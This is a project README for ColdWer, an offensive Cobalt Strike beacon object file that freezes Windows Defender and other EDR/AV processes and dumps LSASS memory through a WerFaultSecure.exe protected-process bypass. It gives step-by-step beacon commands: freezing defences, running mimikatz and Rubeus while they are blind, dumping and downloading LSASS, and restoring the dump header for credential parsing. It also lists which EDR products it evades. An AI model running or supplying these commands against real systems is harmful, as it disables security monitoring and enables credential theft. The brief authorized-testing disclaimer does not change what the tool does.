
Cobalt Strike BOF to freeze EDR/AV processes and dump LSASS using WerFaultSecure.exe PPL bypass
A cold war on your endpoint.
ColdWer leverages WerFaultSecure.exe PPL bypass to freeze EDR/AV processes and dump LSASS memory on modern Windows systems.
C O L D W E R
└─┴─┴── WerFaultSecure
└─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)
Freeze your EDR/AV. Extract what you need. Stay cold.
Sh3llf1r3 (@0xsh3llf1r3)
This project builds upon research by TwoSevenOneT (@TwoSevenOneT):
| Project | Description |
|---|---|
| EDR-Freeze | Original EDR freeze technique |
| WSASS | LSASS dump via WerFaultSecure |
All credit for the underlying techniques goes to TwoSevenOneT.
git clone https://github.com/0xsh3llf1r3/ColdWer.git
cw/coldwer.cna# Navigate to source directory
cd src/
# Compile BOF (requires MinGW)
make
# Or manually:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o
coldwer.o and coldwer.cnacoldwer.cna in Cobalt Strike# Find Windows Defender PID
beacon> ps
# Freeze the process
beacon> cw-freeze 1337
# Execute your commands while EDR/AV is frozen
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage
# Unfreeze when done
beacon> cw-unfreeze
# Step 1: Upload Win8.1 WerFaultSecure.exe
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe
# Step 2: Find LSASS PID
beacon> ps
# Step 3: Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# Step 4: Download the dump
beacon> download C:\Windows\Temp\lsass.dmp
Change the file header to restore the minidump format:
| Original (PNG) | Change to (MDMP) |
|---|---|
89 50 4E 47 | 4D 44 4D 50 |
Restore Header Commands:
| Method | Command |
|---|---|
| Python | open('lsass.dmp','r+b').write(b'MDMP') |
| Bash | printf '\x4d\x44\x4d\x50' | dd of=lsass.dmp bs=1 count=4 conv=notrunc |
| PowerShell | $f=[IO.File]::Open("lsass.dmp","Open","Write");$f.Write([byte[]](0x4D,0x44,0x4D,0x50),0,4);$f.Close() |
Then parse with Mimikatz:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
| Command | Description |
|---|---|
cw-freeze <PID> [Path] | Freeze process |
cw-unfreeze | Unfreeze previously frozen process |
cw-dump <PID> <Path> | Dump LSASS memory |
# Freeze with default path
beacon> cw-freeze 1337
# Use custom WerFaultSecure.exe
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe
# Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# Unfreeze when done
beacon> cw-unfreeze
| Target | Status |
|---|---|
| Windows Defender (MsMpEng.exe) | ✅ Works |
| LSASS (lsass.exe) | ✅ Works |
| Other PPL processes | ✅ Works |
Does NOT work against EDRs with kernel-mode self-protection:
| EDR | Status |
|---|---|
| Elastic Endpoint | ❌ Blocked |
| CrowdStrike Falcon | ❌ Blocked |
| SentinelOne | ❌ Blocked |
| Carbon Black | ❌ Blocked |
1. 🚀 Launch WerFaultSecure.exe as PPL (WinTcb level)
↓
2. 🎯 WerFaultSecure attaches to target process
↓
3. ⏸️ MiniDumpWriteDump suspends all target threads
↓
4. 🥶 Suspend WerFaultSecure itself → Target stays frozen
↓
5. ✅ Execute your commands (EDR/AV can't see!)
↓
6. 🔥 Terminate WerFaultSecure → Target unfreezes
| Version | Output |
|---|---|
| Windows 10/11 | Encrypted dump only |
| Windows 8.1 | Raw unencrypted dump |
⚠️ FOR AUTHORIZED SECURITY TESTING ONLY
This tool is intended for:
- Authorized penetration testing
- Red team operations with written permission
- Security research in controlled environments
The author is not responsible for any misuse or damage caused by this tool.
Unauthorized access to computer systems is illegal.
MIT License - See LICENSE
🥶 Stay Cold. Stay Quiet. 🥶
⭐ Star this repo if you find it useful! ⭐
| Feature | Description |
|---|
| ❄️ Freeze | Put EDR/AV processes into a coma state |
| 🔓 Dump | Extract LSASS memory bypassing PPL |
| 🛡️ PPL Bypass | Leverage WerFaultSecure.exe at WinTcb level |
| ⚡ Fast | Inline BOF execution |
| 🎯 Manual Control | You decide when to freeze and unfreeze |
| Error | Cause | Solution |
|---|
| File not found | Invalid path | Check WerFaultSecure.exe path |
| Access denied | Low privileges | Run as Administrator/SYSTEM |
| Invalid signature | Unsigned binary | Use properly signed WerFaultSecure.exe |
| Process does not exist | Wrong PID | Verify PID with ps command |
| Target protected | Kernel protection | EDR has self-protection (not bypassable) |
| Already frozen | State stuck | Run cw-unfreeze first |